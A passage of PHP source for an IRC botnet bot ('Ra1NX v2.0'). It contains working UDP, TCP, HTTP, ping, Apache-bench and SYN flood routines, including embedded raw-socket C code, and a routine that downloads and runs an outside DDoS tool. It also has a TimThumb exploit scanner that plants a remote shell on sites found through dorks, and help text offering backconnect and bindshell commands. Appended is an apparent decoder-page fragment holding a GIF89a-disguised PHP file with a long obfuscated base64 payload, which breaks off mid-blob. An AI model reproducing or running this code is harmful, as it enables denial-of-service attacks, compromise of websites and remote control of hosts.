    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/ip_tracer/".$arg[0];
    SEND($sender."7Tracing IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi("My IP address ",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+3)]));
        if(eregi("code:",$v))SEND($sender."7Country: 10".str_replace("    ","",strip_tags($browsing[($i+8)]))." (".str_replace("    ","",strip_tags($browsing[($i+2)])).")");
        if(eregi("state:",$v))SEND($sender."7State: 10".strip_tags($browsing[($i+2)]));
        if(eregi("city:",$v))SEND($sender."7City: 10".strip_tags($browsing[($i+2)]));
        if(eregi("latitude:",$v)){
            SEND($sender."7Googla Map Index: 10".strip_tags($browsing[($i+3)])." x ".strip_tags($browsing[($i+8)]));
            break;
        }
    }
}

####[ Ra1NX Proxy List ]####
function proxy($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;    
    $host = "http://www.ip-adress.com/proxy_list/";
    SEND($sender."7Proxy List: 10[2A10]nonymous - [2E10]lite!");
    $browsing = explode('<table border="0" class="proxylist">',httpquery($host));
    $tproxy = explode('</table>',$browsing[1]);
    $trodd = explode('<tr class="odd">',$tproxy[0]);
    $tx = 0;
    foreach($trodd as $x => $odd){
        if($tx=="0"){
            $tx++;
            continue;
        }
        $treven = explode('<tr class="even">',$odd);
        foreach($treven as $y => $even){
            $trp = explode("
",$even);
            $c = 0;
            foreach($trp as $z => $tr){
                if($c == "1")$ip = strip_tags($tr);
                if($c == "2")$cl = strip_tags($tr);
                if($c == "4")$cn = str_replace("                        ","",strip_tags($tr));
                if($c == "4")break;
                $c++;
            }
            $cn = str_replace("                    ","",$cn);
            if($cl != "Transparent")SEND($sender."7[2".substr($cl,0,1)."]4 ".$ip." 5(".$cn.")");
        }
    }
    SEND($sender."7Done!");
}

####[ Ra1NX Port ]####
function port($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $host = $args[0];
    $port = $args[1];
    $pesan = checkport($host,$port,2);
    $pesan = "is ".(eregi("failed",$pesan)?$pesan:"Accepted");
    SEND($sender."7Connection to ".$host.":".$port." ".$pesan);
}

function checkport($ip,$port,$timeout){
    global $SOCKET,$sender;
    $checkport = fsockopen($ip, $port, $errnum, $errstr, $timeout);
    return ($checkport)?true:"failed (".$errstr.")";
}

####[ Ra1NX NMap ]####
function nmap($arg){
    global $SOCKET,$sender,$shellfunc,$portserv;
    $shellfunc("which nmap >/tmp/Ra1NX.nmap 2>&1");    
    $havenmap = (trim(fgets(fopen("/tmp/Ra1NX.nmap","r"),16)))?1:0;
    if($havenmap){shell("nmap ".$arg); return;}    
    $ghost = explode(" ",$arg);
    foreach($ghost as $key => $host){
        if(!eregi("^(-).+$",$host) || !is_numeric($host)){
            $thehost = $host;
            break;
        }
    }
    SEND($sender."7Ra1NX Port Mapper v0.1");
    SEND($sender."7Interesting port on ".$thehost.". Scan maybe long. Please wait..");
    foreach($portserv as $theport => $servname){
        if(!eregi("failed",checkport($thehost,$theport,1))){
            $open[] = $theport." open ".$servname;                
        }
    }
    foreach($open as $key => $val){
        SEND($sender."10".$val);
    }
    SEND($sender."10Port Mapping done! ".count($open)." opened port");    
}

function portserv(){
    global $SOCKET,$sender;
    $data = httpquery("http://nmap.org/svn/nmap-services");
    $rows = explode("
",$data);
    foreach($rows as $num => $val){
        if(!preg_match("/^(#).+$/",$val)){
            if(!preg_match("/^(<pre>).+$/",$val)){
                if(!preg_match("/^(unknown).+$/",$val)){
                    $p = explode("	",$val);
                    $q = explode("/",$p[1]);
                    $portserv[$q[0]] = $p[0];
                }
            }
        }
    }
    return $portserv;
}


####[ Ra1NX UDP Flood ]####
function udpflood($arg) { //@udpflood host paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10UDP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do{
        $conn = fsockopen("udp://".$args[0],mt_rand(0,65535),$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10UDP Flood: ".$args[0]." is done!");
}

####[ Ra1NX TCP Flood ]####
function tcpflood($arg){ //@tcpflood host port paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10TCP Flood: ".$args[0].":".$args[1]." !Size: ".$args[2]." for ".$args[3]." times!");
    for($i=0;$i<$args[2];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[3];
    do {
        $conn = fsockopen("tcp://".$args[0],$args[1],$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10TCP Flood: ".$args[0]." is done!");
}

####[ Ra1NX HTTP FLOOD ]####
function httpflood($arg){ //@httpflood google.com 9999999999 999999999t
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10HTTP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do {
        $conn = fsockopen("tcp://".$args[0],80,$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10HTTP Flood: ".$args[0]." is done!");
}

####[ Ra1NX Ping Flood ]####
function pingflood($arg){ //@pingflood google.com 99999999
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("whoami >/tmp/Ra1NX.whoami 2>&1");
    $whoami = trim(fgets(fopen("/tmp/Ra1NX.whoami","r"),32));
    $shellfunc("rm -f /tmp/Ra1NX.whoami");
    if($whoami != "root"){ SEND($sender."10Need root access!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."Smurf Ping of Death: ".$args[0]." for ".$args[1]." times");
    $shellfunc("ping ".$args[0]." -l 65000 -c ".$args[1]." 2>&1");
}

####[ Ra1NX Apache Benchmark Flood ]####
function apacheflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which ab >/tmp/Ra1NX.ab 2>&1");
    $abfunc = trim(fgets(fopen("/tmp/Ra1NX.ab","r"),128));
    if(!$abfunc){ SEND($sender."10Cannot locate apache benchmark. Flooding canceled!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."10Apache benchmark flood started: ".$args[0]." in ".$args[1]." times");
    $shellfunc($abfunc." -n ".$args[1]." -c 300 \ http://".$args[0]."/cgi-bin/search.cgi?q=Ra1NX Mass Flooder 2>&1");
}

####[ Ra1NX SynFlood ]####
function sysnflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which gcc >/tmp/Ra1NX.gcc 2>&1");
    $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    if(!$gcc){
        $shellfunc("which cc >/tmp/Ra1NX.gcc 2>&1");
        $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    }
    if(!$gcc){ SEND($sender."10gcc command not found. Synflooding Canceled!"); return; }
    $shellfunc($gcc." --help >/tmp/Ra1NX.gcc 2>&1");
    $o = fgets(fopen("/tmp/Ra1NX.gcc","r"),3024);
    if(!eregi("Usage: gcc ",$o)){ SEND($sender."10gcc command denied. Synflooding Canceled!"); return; }    
    //blm bisa bikin pakek php. pakek c dulu
    $args = explode(" ",$arg);
    $syntool = "#include<stdio.h>
    #include<netinet/tcp.h>
    #include<netinet/ip.h>

    typedef struct pseudo_header 
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        //char tcp[28];
        struct tcphdr tcp;
    };

    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;

        return(answer);
    }

    int main (void)
    {
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        char datagram[4096];
        struct iphdr *iph = (struct iphdr *) datagram;
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ('".$args[0]."');
        memset (datagram, 0, 4096);
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htonl (54321);
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;    
        iph->saddr = inet_addr ('192.168.1.2');
        iph->daddr = sin.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;    
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);
        tcph->check = 0;
        tcph->urg_ptr = 0;
        psh.source_address = inet_addr('192.168.1.2');
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
        {
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
                //printf ('Warning: Cannot set HDRINCL!n');
        }
        int counter;
        counter = 0;
        while (counter < ".$args[1].")
        {
            //Send the packet
            if (sendto (s,    
                        datagram,
                        iph->tot_len,
                        0,
                        (struct sockaddr *) &sin,
                        sizeof (sin)) < 0)

                //printf ('errorn');
            //Data send successfully
            else
        //        printf (".");
        counter++;
        }

        return 0;
    }

    ";
    $file = fopen("/tmp/Ra1NX.syn.src","a");
    fwrite($file,$syntool);
    fclose($file);
    $shellfunc($gcc." -o /tmp/Ra1NX.syn /tmp/Ra1NX.syn.src");
    $shellfunc("chmod +x /tmp/Ra1NX.syn");
    $shellfunc("rm -f /tmp/Ra1NX.syn.src");    
    SEND($sender."10Synflooding: ".$args[0]." for ".$args[1]." times");
    $shellfunc("/tmp/Ra1NX.syn 2>&1");
}

####[ Super DDoS ]####
function superdos($arg){
    global $SOCKET,$sender,$gudangsenjata,$shellfunc;
    $args = explode(" ",$arg);
    $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
    $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
    $shellfunc("cd /tmp");
    $dlfunc = downloader();
    if(!$dlfunc){SEND($sender."10Cannot download Super DDoS tool");return;}
    $shellfunc($dlfunc." ".$gudangsenjata."super");
    $shellfunc("chmod +x /tmp/super");
    SEND($sender."10Super DDoS: ".$arg[0]);
    $shellfunc("/tmp/super ".$arg[0]." ".$arg[1]." Ra1NX Mass Flooder >/tmp/Ra1NX.super.dos 2>&1");
    $shellfunc("cd ".$dirnow);
    $shellfunc("rm -f /tmp/Ra1NX.super.dos");
}

###[ Ra1NX | add | Google Search By UnKnown ]###
function google($arg){
	global $SOCKET,$dropMsg,$sender;
	$args=urlencode($arg);
	$c = 0;
	$host = "http://www.google.co.id/search?q=".$args."&num=20";
	SEND($sender."7Gugling for 10".$arg);
	$rez = httpquery($host);
	$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
	$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
    if ($count == 0) { SEND($sender."7Kosong bos, cek lagi kiwot nya :p"); }
	else {
	for ($i = 0;$i < $count;$i++) {
		$urlz = urldecode($matches[$i][1]);
		$c++;
		if(eregi('http://',$urlz)){
		$urlz=str_replace('&amp;','&',$urlz);
			SEND($sender."7hasil 10 ".$urlz);
			}
		}
		}
	SEND($sender."7Gugling slesae!");
}
###[ Ra1NX | add | TimThumb eXploit by UnKnown ]###
function timid($arg){
	global $SOCKET,$sender;
	$host = "http://blogger.com.bayareagardener.org/simple.php";
	$respond = httpquery($host);
	if(eregi("GIF89a",$respond)){
	SEND($sender."7Respond Ok");
	} else { SEND($sender."7Respond Bad"); }
	}
function tim($arg){
	global $SOCKET,$dropMsg,$sender;
	$args = explode(" ",$arg);
	$bug = $args[0];
	$dorks = array($args[1],$args[2],$args[3],$args[4],$args[5]);
	$dork = implode(" ",$dorks);
	$timid = "http%3A%2F%2Fblogger.com.bayareagardener.org%2Fsimple.php";
	$md5php = md5(urldecode($timid)).".php";
	$c = 0;
		SEND($sender."7TimThumb Scanner Start with bug = 10".$bug."7 and dork = 10".$dork);
	$list = googling($dork,$m);
	$totals = explode("
",$list);
	$total = count($totals);
	$clean = array_unique($totals);
		SEND($sender."7Total -> ".$total." sites");
		foreach($clean as $res => $site){
			$vulners = array($site,"/",$bug,"?src=",$timid);
			$vulner = implode("",$vulners);
			#SEND($sender."7Checking ".$site);
			$resss = httpquery($vulner);
				if(eregi("Unable to open image",$resss)){
					SEND($sender."7eXploiting -> ". $site);
			$sbug = split('[/]',$bug);
			$patrn = "#$sbug[0]([^<]+)$md5php#i";
			preg_match($patrn,$resss,$targetpath);
			$pathshell = "/".$targetpath[0];
			$shells = array("http://",$site,$pathshell);
			$shell = implode("",$shells);
			$shellzz = httpquery($shell);
			$patern = '#<title>([^*]*)<\/([^*]*)SAFE_MODE : (?P<safe>[^*]*)<\/([^*]*)User : (?P<uid>[^*]*)<\/([^*]*)Uname : (?P<uname>[^<]*)#i';
			$shellz = preg_match($patern,$shellzz,$dapat);
				if($shellz == 0) { SEND($sender."7Gak Nyangkut :("); }
				else {
					$safe = $dapat['safe'];
					$uid = $dapat['uid'];
					$uname = $dapat['uname'];
					SEND($sender."7Shell -> 10".$shell."7 [SafeMode=10".$safe."7] [OS=10".$uname."7] 10".$uid);
				}
			}
		$c++;
		}
	SEND($sender."7Scanner Finished for ".$dork);
}
function googling($key,$max) {
	global $SOCKET,$sender;
	$key = urlencode($key);
	$num = 100;
	$c = 0;
	$tld = array("com","co.id","ae");
	$dom = $tld[rand(0,(count($tld)-1))];
	for ($p=0;$p<=1000;$p+=10) {
		$rez = httpquery("http://www.google.".$dom."/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N",5);
		$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
		$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
		if ($count == 0) { SEND($sender."7dork jelek"); return $h; }
		else {
			for ($i = 0;$i < $count;$i++) {
				$urlz  = urldecode($matches[$i][1]);
				preg_match('@^(?:http://)?([^/]+)@i',$urlz, $dapat);
				$urls = $dapat[1];
				$h .= $urls."
";
#				$h .= array_unique($h);
				$c++;
#	SEND($sender."7".$urls);
				}
			}
		}
	SEND($sender.'7Searching Done, please wait for eXploit');
	return $h;
}
###[ Ra1NX Command Help ]###
function help($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $opt = $args[0];
    
    $tmpl = $sender."10@";
    $hfile[]= 'irc: join #channel msg';
    $hfile[]= 'irc: part #channel msg';
    $hfile[]= 'irc: cycle #channel msg';
    $hfile[]= 'irc: msg nick/#channel msg';
    $hfile[]= 'irc: whois nick';
    $hfile[]= 'irc: find nick';
    $hfile[]= 'irc: nick newnick';
    $hfile[]= 'irc: off msg';
    
    $hfile[]= 'flood: tsunami nick/#channel';
    $hfile[]= 'flood: ctcpflood nick/#channel';
    
    $hfile[]= 'shell: shell command';
    $hfile[]= 'shell: download url';
    
    $hfile[]= 'domaintool: ipwhois hostname';
    $hfile[]= 'domaintool: reverse hostname';
    $hfile[]= 'domaintool: iptrace hostname';
    $hfile[]= 'domaintool: port hostname port';
    $hfile[]= 'domaintool: nmap hostname';
    $hfile[]= 'domaintool: proxy';
    
    $hfile[]= 'ddos: udpflood target packetsize times';
    $hfile[]= 'ddos: tcpflood target port packetsize times';
    $hfile[]= 'ddos: httpflood target packetsize times';
    $hfile[]= 'ddos: pingflood target times';
    $hfile[]= 'ddos: apacheflood target times';
    $hfile[]= 'ddos: synflood target packetsize times';
    $hfile[]= 'ddos: superdos target port';
    
    $hfile[]= 'rconnect: backconnect ip port {perl|c|nc|php}';
    $hfile[]= 'rconnect: bindshell port {perl|nc|php}';
    
    $hfile[]= 'info: info';
    $hfile[]= 'info: myself';
    $hfile[]= 'info: myip';
    $hfile[]= 'info: myshell';
    
    if(!$opt){SEND($sender."2Ra1NX v2.0 Command Help");}
    foreach($hfile as $key => $val){
        $send = true;
        if($opt!=""){
            $send = (eregi($opt.":",$val))?true:false;
        }
        if($send){
            SEND(((eregi("shell command",$val))?$sender."10":$tmpl).substr($val,(strpos($val,": ")+2),strlen($val)));
        }
    }
    if(!$opt){SEND($tmpl."help {irc|flood|ddos|domaintool|rconnect|shell|info}");}
}

###[ Ra1NX AddOns ]###
function beArray($val,$param=','){
    $val = str_replace("
","",$val);
    $val = str_replace("
","",$val);
    $val = str_replace("	","",$val);
    $val = str_replace(" ","",$val);
    return explode($param,$val);    
}

function random($var){
    $var = beArray($var);
    $max = count($var)-1;
    $key = rand("0",$max);
    $output = str_replace(" ","",$var[$key]);
    $output = str_replace("
","",$output);
    $output = str_replace("
","",$output);
    $output = str_replace("	","",$output);
    return $output;
}

Did this file decode correctly?

Original Code

GIF89a???????????!??????,???????D?;?<?php
error_reporting(0);
$strtodecode = '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